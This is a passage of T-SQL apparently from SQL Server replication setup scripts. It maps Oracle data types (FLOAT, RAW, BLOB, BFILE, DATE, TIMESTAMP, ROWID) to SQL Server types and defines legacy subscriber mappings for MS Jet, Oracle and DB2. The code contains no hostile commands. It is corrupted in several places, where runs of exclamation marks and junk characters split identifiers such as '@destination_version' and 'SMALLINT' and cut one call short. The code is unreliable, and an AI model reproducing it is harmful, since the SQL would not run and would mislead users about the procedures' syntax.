											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_precision	= -1,
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1

	-- FLOAT(p) 54-62
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'FLOAT',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 54,
											@source_precision_max	= 62,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1

	-- REAL (FLOAT(63)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'FLOAT',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 63,
											@source_precision_max	= 63,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1
	
	-- FLOAT(p) 64-126
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'FLOAT',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 64,
											@source_precision_max	= 126,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1
	
	-- RAW
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'RAW',
											@source_length_min		= 1,
											@source_length_max		= 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varbinary',
											@destination_length		= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- LONG RAW
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'LONG RAW',
											@source_length_min		= 0,
											@source_length_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varbinary(max)',
											@destination_nullable	= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'LONG RAW',
											@source_length_min		= 0,
											@source_length_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	-- BLOB
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'BLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'BLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varbinary(max)',
											@destination_nullable	= 1,
                                            @dataloss               = 1,
											@is_default				= 1

	-- BFILE
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'BFILE',
											@source_length_min		= 530,
											@source_length_max		= 530,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'BFILE',
											@source_length_min		= 530,
											@source_length_max		= 530,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4#cprZvFation_version	= @destination_version,
											@destination_type		= 'varbinary(max)',
											@destination_nullable	= 1,
                                            @dataloss               = 1,
											@is_default				= 1

	-- DATE
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'DATE',
											@source_length_min		= 7,
											@source_length_max		= 7,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'datetime',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'DATE',
											@source_length_min		= 7,
											@source_length_max		= 7,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length		= 19,
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'DATE',
											@source_length_min		= 7,
											@source_length_max		= 7,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'date',
											@destination_nullable	= 1,
											@dataloss				= 1

    -- TIMESTAMP (Oracle 9+ only)
    -- TIMESTAMP WITH TIME ZONE (Oracle 9+ only)
    -- TIMESTAMP WITH LOCAL TIME ZONE (Oracle 9+ only)
    IF @source_version NOT LIKE N'8%'
    BEGIN
        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetime',
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 35,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 0

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetime2',
                                                @destination_scale      = -1,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 0


        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 8,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetime',
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 8,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 35,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<47zL Fh>8^}p@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4,vF     @is_default             = 0



/*
        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetime',
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1
*/
        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 37,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetimeoffset',
                                                @destination_scale      = -1,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 0

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 8,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 37,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1

/*
        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH LOCAL TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetime',
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 0
*/
        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH LOCAL TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
                                                @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 37,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1

        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH LOCAL TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 0,
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<>44ZwF                                            @source_scale_max       = 7,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'datetimeoffset',
                                                @destination_scale     = -1,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 0


        exec sys.sp_MSrepl_adddatatypemapping   @source_dbms            = @source_dbms,
                                                @source_version         = @source_version,
                                                @source_type            = 'TIMESTAMP WITH LOCAL TIME ZONE',
                                                @source_length_min      = 7,
                                                @source_length_max      = 13,
                                                @source_scale_min       = 8,
                                                @source_scale_max       = 9,
                                                @source_nullable        = 1,
                                                @destination_dbms       = @destination_dbms,
                                                @destination_version    = @destination_version,
                                                @destination_type       = 'varchar',
                                                @destination_length     = 37,
                                                @destination_nullable   = 1,
                                                @dataloss               = 1,
                                                @is_default             = 1
    END

   


	-- ROWID
    exec sys.sp_MSrepl_adddatatypemapping   @source_dbms			= @source_dbms,
	                                        @source_version         = @source_version,
	                                        @source_type            = 'ROWID',
	                                        @source_length_min      = 1,
	                                        @source_length_max      = 4000,
	                                        @source_nullable        = 1,
	                                        @destination_dbms       = @destination_dbms,
	                                        @destination_version    = @destination_version,
	                                        @destination_type       = 'char',
	                                        @destination_length		= 18,
	                                        @destination_nullable   = 1,
	                                        @dataloss               = 1,
	                                        @is_default             = 1

	-- UROWID
    exec sys.sp_MSrepl_adddatatypemapping   @source_dbms			= @source_dbms,
	                                        @source_version         = @source_version,
	                                        @source_type            = 'UROWID',
	                                        @source_length_min      = 1,
	                                        @source_length_max      = 4000,
	                                        @source_nullable        = 1,
	                                        @destination_dbms       = @destination_dbms,
	                                        @destination_version    = @destination_version,
	                                        @destination_type       = 'char',
	                                        @destination_length		= 18,
	                                        @destination_nullable   = 1,
	                                        @dataloss               = 1,
	                                        @is_default             = 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v4Q~vL
--
-- Name:
--		sp_MSrepl_subdatatypemappings
--
-- Description:
--		Define HREPL subscriber mappings
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Legacy subscriber definitions.  Uses the old interface
--		to maintain backwards compatibility
--

CREATE PROCEDURE sys.sp_MSrepl_subdatatypemappings
AS
BEGIN
	-- sp_add_datatype_mapping @dbms_name, @sql_type, @dest_type, @dest_prec, @dest_create_params, @dest_nullable

    -- MS Jet
    exec sys.sp_add_datatype_mapping 'MS Jet', 'binary' , 'binary', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'varbinary' , 'varbinary', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'binary' , 'image', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'varbinary' , 'image', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'sql_variant' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'varchar' , 'varchar', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'varchar' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'nchar' , 'nchar', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'nchar' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'char' , 'char', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'char' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'nvarchar' , 'nchar varying', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'nvarchar' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'datetime' , 'datetime', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'smalldatetime' , 'datetime', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'decimal' , 'decimal', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'numeric' , 'decimal', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'float' , 'float', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'real' , 'real', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'bigint' , 'decimal', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'int' , 'int', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'smallint' , 'smallint', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'tinyint' , 'byte', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'money' , 'currency', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'smallmoney' , 'currency', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'bit' , 'bit', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'sysname' , 'nchar varying', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'timestamp' , 'binary', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'uniqueidentifier' , 'guid', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'text' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'ntext' , 'longtext', 1073741824, 0, 1
    exec sys.sp_add_datatype_mapping 'MS Jet', 'image' , 'image', 1073741824, 0, 1

    -- Oracle
    exec sys.sp_add_datatype_mapping 'Oracle', 'binary' , 'RAW', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'varbinary' , 'RAW', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'binary' , 'LONG RAW', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'varbinary' , 'LONG RAW', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'sql_variant' , 'LONG', 2147483647, 0, 1
    --exec sys.sp_add_datatype_mapping 'Oracle', 'varchar' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'varchar' , 'VARCHAR2', 2000, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'varchar' , 'LONG', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'nchar' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'nchar' , 'VARCHAR2', 2000, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'nchar' , 'LONG', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'char' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'char' , 'VARCHAR2', 2000, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'char' , 'LONG', 2147483647, 0, 1
    --exec sys.sp_add_datatype_mapping 'Oracle', 'nvarchar' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'nvarchar' , 'VARCHAR2', 2000, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'nvarchar' , 'LONG', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'datetime' , 'DATE', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'smalldatetime' , 'DATE', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'decimal' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'numeric' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'float' , 'FLOAT', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'real' , 'FLOAT', 255, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'bigint' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'int' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'smallint' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'tinyint' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'money' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'smallmoney' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'bit' , 'NUMBER', 255, 3, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'sysname' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'timestamp' , 'RAW', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'uniqueidentifier' , 'CHAR', 255, 4, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'text' , 'LONG', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'ntext' , 'LONG', 2147483647, 0, 1
    exec sys.sp_add_datatype_mapping 'Oracle', 'image' , 'LONG RAW', 2147483647, 0, 1

    --DB2/400
    exec sys.sp_add_datatype_mapping 'DB2/400', 'bit', 'SMALLINT', 1,  0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'tinyint', 'SMALLINT', 3, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'smallint', 'SMALLINT', 5, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'int', 'INT', 10, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'bigint', 'VARCHAR', 26, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/400', 'char', 'CHAR', 8000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'varchar', 'VARCHAR', 8000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'smalldatetime', 'TIMESTAMP', 26, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'datetime', 'TIMESTAMP', 26, 0, 1
    
    exec sys.sp_add_datatype_mapping 'DB2/400', 'real', 'REAL', 24, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'decimal', 'DECIMAL', 31, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'double precision', 'DOUBLE', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'float', 'FLOAT', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'numeric', 'NUMERIC', 31, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/400', 'smallmoney', 'DECIMAL', 10, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'money', 'DECIMAL', 19, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/400', 'varbinary', 'VARCHAR () FOR BIT DATA', 8000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'binary', 'CHAR () FOR BIT DATA', 8000, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/400', 'timestamp', 'CHAR () FOR BIT DATA', 8, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'uniqueidentifier', 'CHAR', 38, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'image', 'VARCHAR () FOR BIT DATA', 32739, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/400', 'text', 'VARCHAR', 32739, 4, 1

    --DB2/MVS
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'bit', 'SMA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<9	v4eLLLINT', 1,  0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'tinyint', 'SMALLINT', 3, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'smallint', 'SMALLINT', 5, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'int', 'INT', 10, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'bigint', 'VARCHAR', 26, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'char', 'CHAR', 254, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'varchar', 'VARCHAR', 4045, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'char', 'VARCHAR', 4045, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'smalldatetime', 'TIMESTAMP', 26, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'datetime', 'TIMESTAMP', 26, 0, 1

    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'real', 'REAL', 24, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'decimal', 'DECIMAL', 31, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'double precision', 'DOUBLE', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'float', 'FLOAT', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'numeric', 'NUMERIC', 31, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'smallmoney', 'DECIMAL', 10, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'money', 'DECIMAL', 19, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'varbinary', 'VARCHAR () FOR BIT DATA', 4045, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'binary', 'CHAR () FOR BIT DATA', 254, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'timestamp', 'CHAR () FOR BIT DATA', 8, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'uniqueidentifier', 'CHAR', 38, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'image', 'VARCHAR () FOR BIT DATA', 4045, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/MVS', 'text', 'VARCHAR', 4045, 4, 1

    --DB2/NT
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'bit', 'SMALLINT', 1,  0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'tinyint', 'SMALLINT', 3, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'smallint', 'SMALLINT', 5, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'int', 'INT', 10, 0, 1
